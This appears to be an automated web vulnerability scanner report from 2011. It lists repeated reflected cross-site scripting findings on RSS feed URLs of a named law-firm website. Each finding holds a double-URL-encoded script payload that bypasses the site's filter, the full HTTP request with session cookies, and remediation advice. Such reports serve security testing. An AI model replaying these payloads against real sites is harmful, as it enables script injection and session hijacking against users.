The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5de32%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebc55ccc6862 was submitted in the REST URL parameter 2. This input was echoed as 5de32"><script>alert(1)</script>bc55ccc6862 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices5de32%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebc55ccc6862/Advertising/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80e2b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e09ca10697f5 was submitted in the REST URL parameter 3. This input was echoed as 80e2b"><script>alert(1)</script>09ca10697f5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Advertising80e2b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e09ca10697f5/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86ab1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6017d2c2dff was submitted in the REST URL parameter 4. This input was echoed as 86ab1"><script>alert(1)</script>6017d2c2dff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Advertising/rss.xml86ab1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6017d2c2dff HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 164d9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7c58cabc2d0 was submitted in the REST URL parameter 1. This input was echoed as 164d9"><script>alert(1)</script>7c58cabc2d0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss164d9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7c58cabc2d0/practices/Antitrust/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9acfd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e287c030088b was submitted in the REST URL parameter 2. This input was echoed as 9acfd"><script>alert(1)</script>287c030088b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices9acfd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e287c030088b/Antitrust/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd079%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebf831efe7af was submitted in the REST URL parameter 3. This input was echoed as bd079"><script>alert(1)</script>bf831efe7af in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Antitrustbd079%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebf831efe7af/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10885%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9f493b0ddcb was submitted in the REST URL parameter 4. This input was echoed as 10885"><script>alert(1)</script>9f493b0ddcb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Antitrust/rss.xml10885%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9f493b0ddcb HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b382%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed866589a601 was submitted in the REST URL parameter 1. This input was echoed as 4b382"><script>alert(1)</script>d866589a601 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss4b382%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed866589a601/practices/Appellate/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83f09%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9da8d699e40 was submitted in the REST URL parameter 2. This input was echoed as 83f09"><script>alert(1)</script>9da8d699e40 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices83f09%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9da8d699e40/Appellate/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3566d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e021d1023e4a was submitted in the REST URL parameter 3. This input was echoed as 3566d"><script>alert(1)</script>021d1023e4a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Appellate3566d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e021d1023e4a/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c988%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e407b643948c was submitted in the REST URL parameter 4. This input was echoed as 2c988"><script>alert(1)</script>407b643948c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Appellate/rss.xml2c988%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e407b643948c HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2da3e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e93729e4d7b0 was submitted in the REST URL parameter 1. This input was echoed as 2da3e"><script>alert(1)</script>93729e4d7b0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss2da3e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e93729e4d7b0/practices/Aviation/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed7d3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edd1cc3a52a5 was submitted in the REST URL parameter 2. This input was echoed as ed7d3"><script>alert(1)</script>dd1cc3a52a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practicesed7d3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edd1cc3a52a5/Aviation/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5cb1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7ae874bc296 was submitted in the REST URL parameter 3. This input was echoed as d5cb1"><script>alert(1)</script>7ae874bc296 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Aviationd5cb1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7ae874bc296/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f5ee%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e49810451264 was submitted in the REST URL parameter 4. This input was echoed as 2f5ee"><script>alert(1)</script>49810451264 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Aviation/rss.xml2f5ee%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e49810451264 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e654b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed4d67e0d85e was submitted in the REST URL parameter 1. This input was echoed as e654b"><script>alert(1)</script>d4d67e0d85e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rsse654b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed4d67e0d85e/practices/Bankruptcy__Financial_Restructuring/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53a9f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee2b7ff89294 was submitted in the REST URL parameter 2. This input was echoed as 53a9f"><script>alert(1)</script>e2b7ff89294 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices53a9f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee2b7ff89294/Bankruptcy__Financial_Restructuring/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 705db%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4b5b4bac229 was submitted in the REST URL parameter 3. This input was echoed as 705db"><script>alert(1)</script>4b5b4bac229 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Bankruptcy__Financial_Restructuring705db%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4b5b4bac229/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7f92%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7324d443b57 was submitted in the REST URL parameter 4. This input was echoed as a7f92"><script>alert(1)</script>7324d443b57 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/practices/Bankruptcy__Financial_Restructuring/rss.xmla7f92%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7324d443b57 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
